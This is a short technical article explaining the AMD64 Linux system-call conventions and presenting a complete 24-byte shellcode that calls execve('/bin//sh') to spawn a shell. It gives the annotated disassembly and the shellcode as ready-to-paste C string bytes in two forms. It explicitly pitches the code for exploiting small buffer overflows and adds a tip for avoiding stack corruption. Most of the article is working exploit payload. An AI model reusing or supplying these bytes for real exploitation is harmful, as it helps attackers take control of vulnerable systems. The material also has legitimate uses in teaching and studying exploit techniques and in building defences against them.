A Short Shellcode for AMD64
<m (at) zorinaq.com>
November 19, 2004
Download
shellcode-amd64.html - This article
shellcode-amd64.tar.bz2 - This article + Shellcode implementation
Updates
- 2004-12-05
- The shellcode has been updated, its size has shrunk from 25 to 24 bytes.
- 2006-05-01
- Added a note about the stack space required (Andreas Geiger). Improved formatting of the assembly/C listings.
- 2010-05-02
- Updated email and URL.
Introduction
Extensive documentation can be found on the subject of shellcodes for the i386 (or IA32) architecture, but almost nothing seems to be currently available for the AMD64 architecture.
This article is going to present an AMD64 shellcode for the Linux kernel that is particularly short (24 bytes). We assume the reader already have basic knowledge about shellcodes and i386 architecture.
AMD64 Architecture ABI
The AMD64 architecture ABI specification can be obtained from http://www.amd64.org/documentation. A shellcode developer should be aware of the following main technical differences with respect to i386:
- These registers are used for passing arguments to system calls: %rdi, %rsi, %rdx, %r10, %r8, %r9.
- The instruction to make a system call is syscall.
- The number of the syscall has to be passed in register %rax.
- During system calls, the kernel destroys registers %rcx and %r11.
With this simple knowledge, a shellcode can be easily developed.
Shellcode
Here is a disassembly of the shellcode, as produced by objdump -d (with opcodes bytes at the beginning of the line):
6a 3b | push $0x3b | |
58 | pop %rax | # set %rax to 0x3b |
99 | cltd | # %rdx (arg 3: envp) is set to 0 |
48 bb 2f 62 69 6e 2f 2f 73 68 | mov $0x68732f2f6e69622f,%rbx | # set %rbx to "/bin//sh" |
52 | push %rdx | # push 0 |
53 | push %rbx | # push "/bin//sh" |
54 | push %rsp | |
5f | pop %rdi | # %rdi (arg 1: path) points to "/bin//sh" |
52 | push %rdx | # push 0 |
57 | push %rdi | # push ptr to path |
54 | push %rsp | |
5e | pop %rsi | # %rsi (arg 2: argv) points to ["/bin//sh",0] |
0f 05 | syscall | # execve(path,argv,envp) |
- push $0x3b and pop %rax set %rax to 0x3b, which is the syscall number for execve(). Syscall numbers can be found in /usr/src/linux/include/asm-x86_64/unistd.h.
- cltd, also known as cdq, sign-extends %eax into %edx:%eax, but since %eax is 0x3b, this set %edx (actually %rdx) to 0. The 3rd argument of execve(), envp, will be %rdx.
- mov $0x68732f2f6e69622f,%rbx stores the string "/bin//sh" into %rbx.
- push %rdx and push %rbx stores our string followed by NUL bytes in the stack.
- push %rsp and pop %rdi is equivalent to mov %rsp,%rdi but it uses less opcode bytes. %rdi now points to "/bin//sh". The 1st argument of execve(), path, will be %rdi.
- push %rdx and push %rdi constructs our argv array in the stack.
- push %rsp and pop %rsi, equivalent to mov %rsp,%rsi, stores a pointer to the argv array into %rsi. The 2nd argument of execve(), argv, will be %rsi.
- syscall enters in kernel mode and processes the system call. Its 3 arguments are %rdi (path), %rsi (argv) and %rdx (envp), that is: execve("/bin//sh", ["/bin//sh", NULL], NULL). Linux indeed allows a NULL envp pointer.
The AMD64 shellcode presented above has a length of only 24 bytes. This makes it particularly useful when exploiting overflows of small buffers. Please note however that it uses 40 bytes of stack space; depending on the stack layout it might be a problem because the push operations can corrupt the shellcode itself. In such cases it is usually possible to add an instruction at the beginning of the shellcode that modifies %rsp to make it point to a safe area (e.g. add $40, %rsp).
Here is the shellcode represented as a C language string:
const char *shellcode = "\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53" "\x54\x5f\x52\x57\x54\x5e\x0f\x05"; |
However, you may prefer this more compact form:
const char *shellcode = "j;X\x99H\xbb/bin//shRST_RWT^\x0f\x05"; |
Conclusion
This article has given the reader a quick overview on the process of developing assembly code using the AMD64 Linux kernel calling conventions. As a practical exemple, a 24-byte shellcode has been presented and explained.
Thanks
I would like to thank those people for their comments and suggestions, in alphabetical order:
- Andreas Geiger